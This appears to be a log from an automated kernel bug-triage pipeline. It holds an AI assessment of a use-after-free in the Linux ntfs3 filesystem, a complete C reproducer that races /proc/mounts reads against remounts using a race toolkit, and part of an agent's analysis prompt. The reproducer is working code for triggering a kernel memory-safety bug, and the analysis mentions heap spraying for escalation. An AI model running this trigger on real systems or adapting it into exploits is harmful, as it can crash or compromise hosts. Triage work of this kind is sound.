| 0/0 |
2026/08/09 04:08 |
flow |
assessment-security |
24m
Results: map[DenialOfService:true Explanation:An analysis of the bug report and the kernel source code reveals the following:
**Bug Mechanism:**
The bug is a Use-After-Free (UAF) in `ntfs_show_options()`. When an `ntfs3`
filesystem is remounted, `ntfs_fs_reconfigure()` allocates a new
`ntfs_mount_options` structure and swaps it with the old one (`sbi->options`).
The old options structure is then freed in `ntfs_fs_free()` via
`put_mount_options()`. However, `ntfs_show_options()` (which is called when
reading `/proc/mounts`) accesses `sbi->options` without any locking or RCU
protection. If a user reads `/proc/mounts` concurrently with a remount
operation, `ntfs_show_options()` can dereference the `options` pointer after it
has been freed, leading to a Use-After-Free on a `kmalloc-32` slab object.
**Exploitability:**
Yes. This is a classic Use-After-Free vulnerability on a `kmalloc-32` object. An
attacker who can trigger this race condition could potentially spray the heap to
reallocate the freed object with controlled data, leading to an information leak
or privilege escalation by hijacking control flow or corrupting sensitive data.
**Access & Privileges:**
The `ntfs3` filesystem does not have the `FS_USERNS_MOUNT` flag set in its
`file_system_type` definition (`FS_REQUIRES_DEV | FS_ALLOW_IDMAP`). Therefore,
mounting and remounting an `ntfs3` filesystem requires `CAP_SYS_ADMIN` in the
initial user namespace.
- It cannot be triggered by unprivileged users.
- It cannot be triggered from within an unprivileged user namespace.
**Other Triggers:**
- **Malicious Filesystem:** The bug is a race condition in the VFS/mount options
handling logic, not a vulnerability in parsing a malicious filesystem image.
- **Peripheral/Network/Remote:** The bug requires local root privileges to mount
and remount the filesystem, so it cannot be triggered remotely or simply by
plugging in a peripheral (unless the system has an auto-mounter script that
continuously remounts the drive while reading `/proc/mounts`, which is highly
unlikely). Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
|
| 1/1 |
2026/08/09 04:08 |
action |
syz-repro-to-c-repro |
0m
Results: map[SimplifiedCRepro:#define _GNU_SOURCE
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/mount.h>
#include <sys/ioctl.h>
#include <linux/loop.h>
#include <endian.h>
#include <sched.h>
#include <sys/stat.h>
#include <errno.h>
#include <sys/syscall.h>
#include <linux/memfd.h>
#ifndef SYS_memfd_create
#define SYS_memfd_create 319
#endif
static void init_mft_record(uint8_t *buf, uint32_t rno, uint16_t seq, uint16_t flags) {
memset(buf, 0, 1024);
memcpy(buf, "FILE", 4);
uint16_t fix_off = 0x2A, fix_num = 3, attr_off = 0x38;
*(uint16_t *)(buf + 0x04) = htole16(fix_off);
*(uint16_t *)(buf + 0x06) = htole16(fix_num);
*(uint16_t *)(buf + 0x10) = htole16(seq);
*(uint16_t *)(buf + 0x12) = htole16(1);
*(uint16_t *)(buf + 0x14) = htole16(attr_off);
*(uint16_t *)(buf + 0x16) = htole16(flags);
*(uint32_t *)(buf + 0x1C) = htole32(1024);
*(uint16_t *)(buf + 0x28) = htole16(0);
*(uint32_t *)(buf + 0x2C) = htole32(rno);
*(uint32_t *)(buf + attr_off) = htole32(0xFFFFFFFF);
*(uint32_t *)(buf + 0x18) = htole32(attr_off + 8);
}
static void add_resident_attr(uint8_t *buf, uint32_t type, const uint8_t *data, uint32_t data_size, uint16_t id, const char *name) {
uint32_t used = le32toh(*(uint32_t *)(buf + 0x18));
uint32_t attr_pos = used - 8;
uint8_t *attr_ptr = buf + attr_pos;
uint32_t name_len = name ? strlen(name) : 0;
uint32_t name_size = name_len * 2;
uint32_t header_size = 0x18;
if (name_len > 0) {
header_size = (0x18 + name_size + 7) & ~7;
}
uint32_t attr_size = header_size + ((data_size + 7) & ~7);
memset(attr_ptr, 0, attr_size);
*(uint32_t *)(attr_ptr + 0x00) = htole32(type);
*(uint32_t *)(attr_ptr + 0x04) = htole32(attr_size);
*(uint8_t *)(attr_ptr + 0x08) = 0;
*(uint8_t *)(attr_ptr + 0x09) = name_len;
*(uint16_t *)(attr_ptr + 0x0A) = htole16(name_len > 0 ? 0x18 : 0);
*(uint16_t *)(attr_ptr + 0x0E) = htole16(id);
*(uint32_t *)(attr_ptr + 0x10) = htole32(data_size);
*(uint16_t *)(attr_ptr + 0x14) = htole16(header_size);
if (name_len > 0) {
uint16_t *name_ptr = (uint16_t *)(attr_ptr + 0x18);
for (uint32_t i = 0; i < name_len; i++) {
name_ptr[i] = htole16(name[i]);
}
}
if (data && data_size > 0) memcpy(attr_ptr + header_size, data, data_size);
uint16_t next_id = le16toh(*(uint16_t *)(buf + 0x28));
if (id >= next_id) *(uint16_t *)(buf + 0x28) = htole16(id + 1);
*(uint32_t *)(buf + attr_pos + attr_size) = htole32(0xFFFFFFFF);
*(uint32_t *)(buf + 0x18) = htole32(attr_pos + attr_size + 8);
}
static void add_nonresident_attr(uint8_t *buf, uint32_t type, uint64_t alloc_size, uint64_t data_size, const uint8_t *run_list, uint32_t run_list_size, uint16_t id, const char *name) {
uint32_t used = le32toh(*(uint32_t *)(buf + 0x18));
uint32_t attr_pos = used - 8;
uint8_t *attr_ptr = buf + attr_pos;
uint32_t name_len = name ? strlen(name) : 0;
uint32_t name_size = name_len * 2;
uint32_t header_size = 0x40;
if (name_len > 0) {
header_size = (0x40 + name_size + 7) & ~7;
}
uint32_t attr_size = header_size + ((run_list_size + 7) & ~7);
memset(attr_ptr, 0, attr_size);
*(uint32_t *)(attr_ptr + 0x00) = htole32(type);
*(uint32_t *)(attr_ptr + 0x04) = htole32(attr_size);
*(uint8_t *)(attr_ptr + 0x08) = 1;
*(uint8_t *)(attr_ptr + 0x09) = name_len;
*(uint16_t *)(attr_ptr + 0x0A) = htole16(name_len > 0 ? 0x40 : 0);
*(uint16_t *)(attr_ptr + 0x0E) = htole16(id);
*(uint64_t *)(attr_ptr + 0x18) = htole64((alloc_size > 0) ? ((alloc_size / 4096) - 1) : 0);
*(uint16_t *)(attr_ptr + 0x20) = htole16(header_size);
*(uint64_t *)(attr_ptr + 0x28) = htole64(alloc_size);
*(uint64_t *)(attr_ptr + 0x30) = htole64(data_size);
*(uint64_t *)(attr_ptr + 0x38) = htole64(data_size);
if (name_len > 0) {
uint16_t *name_ptr = (uint16_t *)(attr_ptr + 0x40);
for (uint32_t i = 0; i < name_len; i++) {
name_ptr[i] = htole16(name[i]);
}
}
if (run_list && run_list_size > 0) memcpy(attr_ptr + header_size, run_list, run_list_size);
uint16_t next_id = le16toh(*(uint16_t *)(buf + 0x28));
if (id >= next_id) *(uint16_t *)(buf + 0x28) = htole16(id + 1);
*(uint32_t *)(buf + attr_pos + attr_size) = htole32(0xFFFFFFFF);
*(uint32_t *)(buf + 0x18) = htole32(attr_pos + attr_size + 8);
}
static void make_std_info(uint8_t *data, uint32_t fa) {
memset(data, 0, 48);
uint64_t nt_time = 116444736000000000ULL;
*(uint64_t *)(data + 0x00) = htole64(nt_time);
*(uint64_t *)(data + 0x08) = htole64(nt_time);
*(uint64_t *)(data + 0x10) = htole64(nt_time);
*(uint64_t *)(data + 0x18) = htole64(nt_time);
*(uint32_t *)(data + 0x20) = htole32(fa);
}
static int make_file_name(uint8_t *data, uint64_t parent_rno, uint16_t parent_seq, const char *name, uint32_t fa) {
memset(data, 0, 512);
*(uint32_t *)(data + 0x00) = htole32(parent_rno);
*(uint16_t *)(data + 0x04) = htole16(parent_seq);
uint64_t nt_time = 116444736000000000ULL;
*(uint64_t *)(data + 0x08) = htole64(nt_time);
*(uint64_t *)(data + 0x10) = htole64(nt_time);
*(uint64_t *)(data + 0x18) = htole64(nt_time);
*(uint64_t *)(data + 0x20) = htole64(nt_time);
*(uint32_t *)(data + 0x38) = htole32(fa);
int len = strlen(name);
*(uint8_t *)(data + 0x40) = len;
*(uint8_t *)(data + 0x41) = 3;
uint16_t *name_ptr = (uint16_t *)(data + 0x42);
for (int i = 0; i < len; i++) name_ptr[i] = htole16(name[i]);
return 0x42 + len * 2;
}
static void apply_fixups(uint8_t *buf) {
uint16_t fix_off = le16toh(*(uint16_t *)(buf + 0x04));
uint16_t fix_num = le16toh(*(uint16_t *)(buf + 0x06));
uint16_t sample = 1;
*(uint16_t *)(buf + fix_off) = htole16(sample);
for (int i = 0; i < fix_num - 1; i++) {
int sector_end_off = (i + 1) * 512 - 2;
uint16_t original = le16toh(*(uint16_t *)(buf + sector_end_off));
*(uint16_t *)(buf + fix_off + 2 + i * 2) = htole16(original);
*(uint16_t *)(buf + sector_end_off) = htole16(sample);
}
}
int write_minimal_ntfs(int fd) {
size_t image_size = 20481 * 512; // 10MB + 512 bytes
int res = ftruncate(fd, image_size);
if (res < 0) {
printf("[-] Failed to ftruncate: %s\n", strerror(errno));
exit(1);
}
printf("[+] ftruncate successful.\n");
uint8_t *image = calloc(1, image_size);
if (!image) {
printf("[-] Failed to calloc\n");
exit(1);
}
uint8_t *boot = image + 0;
boot[0] = 0xEB; boot[1] = 0x52; boot[2] = 0x90;
memcpy(boot + 3, "NTFS ", 8);
*(uint16_t *)(boot + 0x0B) = htole16(512);
boot[0x0D] = 8; boot[0x15] = 0xF8;
*(uint16_t *)(boot + 0x18) = htole16(63);
*(uint16_t *)(boot + 0x1A) = htole16(255);
boot[0x24] = 0x80; boot[0x26] = 0x80;
*(uint64_t *)(boot + 0x28) = htole64(20480);
*(uint64_t *)(boot + 0x30) = htole64(4);
*(uint64_t *)(boot + 0x38) = htole64(8);
boot[0x40] = 0xF6; boot[0x44] = 0xF4;
*(uint64_t *)(boot + 0x48) = htole64(0x123456789ABCDEF0ULL);
boot[510] = 0x55; boot[511] = 0xAA;
memcpy(image + image_size - 512, boot, 512);
uint8_t std_data[48], name_data[512];
int name_len;
uint8_t *mft = image + 4 * 4096;
uint8_t *r0 = mft + 0 * 1024;
init_mft_record(r0, 0, 1, 1);
make_std_info(std_data, 0x06); add_resident_attr(r0, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$MFT", 0x06); add_resident_attr(r0, 0x30, name_data, name_len, 1, NULL);
uint8_t r0_data_run[] = {0x11, 0x04, 0x04, 0x00}; add_nonresident_attr(r0, 0x80, 16384, 16384, r0_data_run, sizeof(r0_data_run), 2, NULL);
uint8_t r0_bmp_run[] = {0x11, 0x01, 0x09, 0x00}; add_nonresident_attr(r0, 0xB0, 4096, 8, r0_bmp_run, sizeof(r0_bmp_run), 3, NULL);
apply_fixups(r0);
uint8_t *r1 = mft + 1 * 1024;
init_mft_record(r1, 1, 1, 1);
make_std_info(std_data, 0x06); add_resident_attr(r1, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$MFTMirr", 0x06); add_resident_attr(r1, 0x30, name_data, name_len, 1, NULL);
uint8_t r1_data_run[] = {0x11, 0x01, 0x08, 0x00}; add_nonresident_attr(r1, 0x80, 4096, 4096, r1_data_run, sizeof(r1_data_run), 2, NULL);
apply_fixups(r1);
uint8_t *r2 = mft + 2 * 1024;
init_mft_record(r2, 2, 2, 1);
make_std_info(std_data, 0x06); add_resident_attr(r2, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$LogFile", 0x06); add_resident_attr(r2, 0x30, name_data, name_len, 1, NULL);
uint8_t r2_data_run[] = {0x11, 0x40, 0x20, 0x00}; add_nonresident_attr(r2, 0x80, 262144, 262144, r2_data_run, sizeof(r2_data_run), 2, NULL);
apply_fixups(r2);
uint8_t *r3 = mft + 3 * 1024;
init_mft_record(r3, 3, 3, 1);
make_std_info(std_data, 0x06); add_resident_attr(r3, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$Volume", 0x06); add_resident_attr(r3, 0x30, name_data, name_len, 1, NULL);
uint8_t vol_info[] = {0,0,0,0,0,0,0,0, 1, 2, 0, 0}; add_resident_attr(r3, 0x70, vol_info, sizeof(vol_info), 2, NULL);
add_resident_attr(r3, 0x80, NULL, 0, 3, NULL);
apply_fixups(r3);
uint8_t *r4 = mft + 4 * 1024;
init_mft_record(r4, 4, 4, 1);
make_std_info(std_data, 0x06); add_resident_attr(r4, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$AttrDef", 0x06); add_resident_attr(r4, 0x30, name_data, name_len, 1, NULL);
uint8_t attr_def_data[320]; memset(attr_def_data, 0, 320);
*(uint32_t *)(attr_def_data + 0x80) = htole32(0x10);
*(uint64_t *)(attr_def_data + 0x98) = htole64(0x30);
*(uint32_t *)(attr_def_data + 160 + 0x80) = htole32(0xE0);
*(uint64_t *)(attr_def_data + 160 + 0x98) = htole64(0x10000);
add_resident_attr(r4, 0x80, attr_def_data, 320, 2, NULL);
apply_fixups(r4);
uint8_t *r5 = mft + 5 * 1024;
init_mft_record(r5, 5, 5, 3);
make_std_info(std_data, 0x10); add_resident_attr(r5, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, ".", 0x10); add_resident_attr(r5, 0x30, name_data, name_len, 1, NULL);
uint8_t root_idx[288]; memset(root_idx, 0, 288);
*(uint32_t *)(root_idx + 0x00) = htole32(0x30);
*(uint32_t *)(root_idx + 0x04) = htole32(1);
*(uint32_t *)(root_idx + 0x08) = htole32(4096);
root_idx[0x0C] = 1;
*(uint32_t *)(root_idx + 0x10) = htole32(16);
*(uint32_t *)(root_idx + 0x14) = htole32(32);
*(uint32_t *)(root_idx + 0x18) = htole32(272);
*(uint16_t *)(root_idx + 0x28) = htole16(16);
*(uint16_t *)(root_idx + 0x2C) = htole16(2);
add_resident_attr(r5, 0x90, root_idx, 288, 2, "$I30");
apply_fixups(r5);
uint8_t *r6 = mft + 6 * 1024;
init_mft_record(r6, 6, 6, 1);
make_std_info(std_data, 0x06); add_resident_attr(r6, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$Bitmap", 0x06); add_resident_attr(r6, 0x30, name_data, name_len, 1, NULL);
uint8_t r6_data_run[] = {0x11, 0x01, 0x0A, 0x00}; add_nonresident_attr(r6, 0x80, 4096, 320, r6_data_run, sizeof(r6_data_run), 2, NULL);
apply_fixups(r6);
uint8_t *r7 = mft + 7 * 1024;
init_mft_record(r7, 7, 7, 1);
make_std_info(std_data, 0x06); add_resident_attr(r7, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$Boot", 0x06); add_resident_attr(r7, 0x30, name_data, name_len, 1, NULL);
uint8_t r7_data_run[] = {0x11, 0x01, 0x00, 0x00}; add_nonresident_attr(r7, 0x80, 4096, 4096, r7_data_run, sizeof(r7_data_run), 2, NULL);
apply_fixups(r7);
uint8_t *r8 = mft + 8 * 1024;
init_mft_record(r8, 8, 8, 1);
make_std_info(std_data, 0x06); add_resident_attr(r8, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$BadClus", 0x06); add_resident_attr(r8, 0x30, name_data, name_len, 1, NULL);
uint8_t r8_data_run[] = {0x01, 0x01, 0x00};
add_nonresident_attr(r8, 0x80, 4096, 4096, r8_data_run, sizeof(r8_data_run), 2, NULL);
apply_fixups(r8);
uint8_t *r9 = mft + 9 * 1024;
init_mft_record(r9, 9, 9, 1);
make_std_info(std_data, 0x06); add_resident_attr(r9, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$Secure", 0x06); add_resident_attr(r9, 0x30, name_data, name_len, 1, NULL);
add_resident_attr(r9, 0x80, NULL, 0, 2, NULL);
apply_fixups(r9);
uint8_t *r10 = mft + 10 * 1024;
init_mft_record(r10, 10, 10, 1);
make_std_info(std_data, 0x06); add_resident_attr(r10, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$UpCase", 0x06); add_resident_attr(r10, 0x30, name_data, name_len, 1, NULL);
uint8_t r10_data_run[] = {0x11, 0x20, 0x60, 0x00}; add_nonresident_attr(r10, 0x80, 131072, 131072, r10_data_run, sizeof(r10_data_run), 2, NULL);
apply_fixups(r10);
for (int r = 11; r < 16; r++) {
uint8_t *rx = mft + r * 1024;
init_mft_record(rx, r, r, 0);
apply_fixups(rx);
}
memcpy(image + 8 * 4096, mft, 4 * 1024);
uint8_t *mft_bmp = image + 9 * 4096;
mft_bmp[0] = 0xFF; mft_bmp[1] = 0x07;
uint8_t *vol_bitmap = image + 10 * 4096;
vol_bitmap[0] = 0xF1; vol_bitmap[1] = 0x07;
for (int i = 4; i < 12; i++) vol_bitmap[i] = 0xFF;
for (int i = 12; i < 16; i++) vol_bitmap[i] = 0xFF;
memset(image + 32 * 4096, 0xFF, 64 * 4096);
uint16_t *upcase = (uint16_t *)(image + 96 * 4096);
for (int i = 0; i < 65536; i++) {
uint16_t c = i;
if (c >= 'a' && c <= 'z') c -= 32;
upcase[i] = htole16(c);
}
off_t off = lseek(fd, 0, SEEK_SET);
if (off == (off_t)-1) {
printf("[-] Failed to lseek: %s\n", strerror(errno));
free(image);
exit(1);
}
printf("[+] lseek successful.\n");
ssize_t written = 0;
size_t total_written = 0;
while (total_written < image_size) {
written = write(fd, image + total_written, image_size - total_written);
if (written < 0) {
printf("[-] Failed to write: %s\n", strerror(errno));
free(image);
exit(1);
}
total_written += written;
}
printf("[+] write successful.\n");
free(image);
return 0;
}
#define NUM_READERS 8
#define NUM_REMOUNTERS 8
char loop_name[64];
volatile int stop = 0;
void *reader_thread(void *arg) {
int idx = (int)(intptr_t)arg;
int num_cpus = sysconf(_SC_NPROCESSORS_ONLN);
if (num_cpus > 0) {
PIN_TO_CPU(idx % num_cpus);
}
char buf[4096];
while (!__atomic_load_n(&stop, __ATOMIC_RELAXED)) {
int fd = open("/proc/self/mounts", O_RDONLY);
if (fd >= 0) {
while (read(fd, buf, sizeof(buf)) > 0) {}
close(fd);
}
}
return NULL;
}
void *remount_thread(void *arg) {
int idx = (int)(intptr_t)arg;
int num_cpus = sysconf(_SC_NPROCESSORS_ONLN);
if (num_cpus > 0) {
PIN_TO_CPU((NUM_READERS + idx) % num_cpus);
}
while (!__atomic_load_n(&stop, __ATOMIC_RELAXED)) {
mount(loop_name, "./mnt_dir", "ntfs3", MS_REMOUNT, "delalloc,force");
mount(loop_name, "./mnt_dir", "ntfs3", MS_REMOUNT, "prealloc,force");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
int res;
int img_fd = syscall(SYS_memfd_create, "ntfs_img", 0);
if (img_fd < 0) {
printf("[-] Failed to memfd_create: %s\n", strerror(errno));
exit(1);
}
printf("[+] memfd_create successful.\n");
res = write_minimal_ntfs(img_fd);
if (res < 0) {
printf("[-] Failed to write_minimal_ntfs: %s\n", strerror(errno));
exit(1);
}
printf("[+] write_minimal_ntfs successful.\n");
int ctl_fd = open("/dev/loop-control", O_RDWR);
if (ctl_fd < 0) {
printf("[-] Failed to open /dev/loop-control: %s\n", strerror(errno));
exit(1);
}
printf("[+] open /dev/loop-control successful.\n");
int loop_num = ioctl(ctl_fd, LOOP_CTL_GET_FREE);
if (loop_num < 0) {
printf("[-] Failed to ioctl LOOP_CTL_GET_FREE: %s\n", strerror(errno));
exit(1);
}
printf("[+] ioctl LOOP_CTL_GET_FREE successful.\n");
res = close(ctl_fd);
if (res < 0) {
printf("[-] Failed to close ctl_fd: %s\n", strerror(errno));
exit(1);
}
printf("[+] close ctl_fd successful.\n");
sprintf(loop_name, "/dev/loop%d", loop_num);
int loop_fd = open(loop_name, O_RDWR);
if (loop_fd < 0) {
printf("[-] Failed to open %s: %s\n", loop_name, strerror(errno));
exit(1);
}
printf("[+] open %s successful.\n", loop_name);
res = ioctl(loop_fd, LOOP_SET_FD, img_fd);
if (res < 0) {
printf("[-] Failed to ioctl LOOP_SET_FD: %s\n", strerror(errno));
exit(1);
}
printf("[+] ioctl LOOP_SET_FD successful.\n");
res = close(img_fd);
if (res < 0) {
printf("[-] Failed to close img_fd: %s\n", strerror(errno));
exit(1);
}
printf("[+] close img_fd successful.\n");
res = close(loop_fd);
if (res < 0) {
printf("[-] Failed to close loop_fd: %s\n", strerror(errno));
exit(1);
}
printf("[+] close loop_fd successful.\n");
res = mkdir("./mnt_dir", 0777);
if (res < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir ./mnt_dir: %s\n", strerror(errno));
exit(1);
}
printf("[+] mkdir ./mnt_dir successful.\n");
int retries = 0;
while (1) {
res = mount(loop_name, "./mnt_dir", "ntfs3", 0, "force");
if (res == 0) break;
if (errno == EBUSY && retries++ < 100) {
usleep(10000);
continue;
}
printf("[-] Failed to mount: %s\n", strerror(errno));
exit(1);
}
printf("[+] mount successful.\n");
pthread_t t1[NUM_READERS], t2[NUM_REMOUNTERS];
for (int i = 0; i < NUM_READERS; i++) {
res = pthread_create(&t1[i], NULL, reader_thread, (void *)(intptr_t)i);
if (res != 0) {
printf("[-] Failed to pthread_create reader_thread: %s\n", strerror(res));
exit(1);
}
}
for (int i = 0; i < NUM_REMOUNTERS; i++) {
res = pthread_create(&t2[i], NULL, remount_thread, (void *)(intptr_t)i);
if (res != 0) {
printf("[-] Failed to pthread_create remount_thread: %s\n", strerror(res));
exit(1);
}
}
printf("[+] pthread_create successful.\n");
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
usleep(100000);
}
__atomic_store_n(&stop, 1, __ATOMIC_RELAXED);
for (int i = 0; i < NUM_READERS; i++) {
pthread_join(t1[i], NULL);
}
for (int i = 0; i < NUM_REMOUNTERS; i++) {
pthread_join(t2[i], NULL);
}
printf("[+] Threads joined.\n");
res = umount("./mnt_dir");
if (res < 0) {
printf("[-] Failed to umount ./mnt_dir: %s\n", strerror(errno));
} else {
printf("[+] umount ./mnt_dir successful.\n");
}
loop_fd = open(loop_name, O_RDWR);
if (loop_fd >= 0) {
res = ioctl(loop_fd, LOOP_CLR_FD, 0);
if (res < 0) {
printf("[-] Failed to ioctl LOOP_CLR_FD: %s\n", strerror(errno));
} else {
printf("[+] ioctl LOOP_CLR_FD successful.\n");
}
res = close(loop_fd);
if (res < 0) {
printf("[-] Failed to close loop_fd: %s\n", strerror(errno));
} else {
printf("[+] close loop_fd successful.\n");
}
}
res = rmdir("./mnt_dir");
if (res < 0) {
printf("[-] Failed to rmdir ./mnt_dir: %s\n", strerror(errno));
} else {
printf("[+] rmdir ./mnt_dir successful.\n");
}
sleep(1);
return 0;
}
]
|
| 2/1 |
2026/08/09 04:08 |
action |
kernel-checkouter |
0m
Results: map[KernelSrc:/app/workdir/cache/src/9d4bc8dbb37da7464722132cca9f0756f97b7cb8]
|
| 3/1 |
2026/08/09 04:08 |
action |
kernel-builder |
13m
Results: map[KernelObj:/app/workdir/cache/build/55cafc8be54f1811ee780c0a1f02b8c65daeac00]
|
| 4/1 |
2026/08/09 04:21 |
action |
codesearch-prepare |
8m
Results: map[Index:codesearch-index]
|
| 5/1 |
2026/08/09 04:30 |
agent |
expert |
2m
Model:
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
Instruction: You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.
Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by grepping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).
Try different strategies when analyzing the bug:
- think of ways in which the vulnerable code is unreachable
- or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.
Analysis dimensions:
* Exploitable:
Determine if the bug can result in memory corruption, elevated privileges, or an information leak.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completely wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control transfers, that also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitability depends on how exactly the uninit value
is used in the code, and what it affects.
Information leaks are exploitable on their own and should be classified as such. A bug that copies kernel
memory contents to userspace (e.g. an out-of-bounds read whose result is returned to the caller, or
uninitialized stack/heap bytes written to a user buffer) is exploitable: it can reveal kernel pointer
values and defeat KASLR, expose sensitive data such as cryptographic keys or other processes' memory, and
serves as a necessary building block in most modern kernel privilege-escalation exploit chains. Do not classify
an information leak as non-exploitable solely because it does not directly cause a memory write or control-flow
hijack; the leak itself is the exploit primitive.
Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
